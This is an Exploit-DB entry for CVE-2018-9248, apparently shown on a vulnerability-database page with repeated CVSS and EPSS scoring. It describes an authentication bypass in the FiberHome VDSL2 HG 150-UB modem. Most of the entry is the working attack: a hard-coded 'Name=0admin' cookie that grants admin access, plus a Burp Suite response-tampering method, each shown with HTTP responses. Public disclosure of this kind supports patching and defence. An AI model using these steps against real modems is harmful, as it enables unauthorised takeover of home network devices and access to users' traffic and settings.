Noman RiffatEDB-ID:44413FiberHome VDSL2 Modem HG 150-UB - Authentication Bypass
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.061 Low
EPSS
Percentile
93.6%
# Exploit Title: FiberHome VDSL2 Modem HG 150-UB Authentication Bypass
# Date: 04/03/2018
# Exploit Author: Noman Riffat
# Vendor Homepage: http://www.fiberhome.com/
# CVE : CVE-2018-9248, CVE-2018-9248
The vulnerability exists in plain text & hard coded cookie. Using any
cookie manager extension, an attacker can bypass login page by setting the
following Master Cookie.
Cookie: Name=0admin
Then access the homepage which will no longer require authentication.
http://192.168.10.1/
Due to improper session implementation, there is another way to bypass
login. The response header of homepage without authentication looks like
this.
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Set-Cookie: Name=; path=/
Content-Type: text/html
Connection: close
<html><head><script language='javascript'>
parent.location='login.html'
</script></head><body></body></html>HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Content-Type: text/html
Connection: close
<html>
<head>
.. continue to actual homepage source
The response header looks totally messed up and by triggering burp suite
and modifying it to following will grant access to homepage without
authentication.
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Set-Cookie: Name=; path=/
Content-Type: text/html
Connection: close
<html>
<head>
.. continue to actual homepage sourceRelated
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.061 Low
EPSS
Percentile
93.6%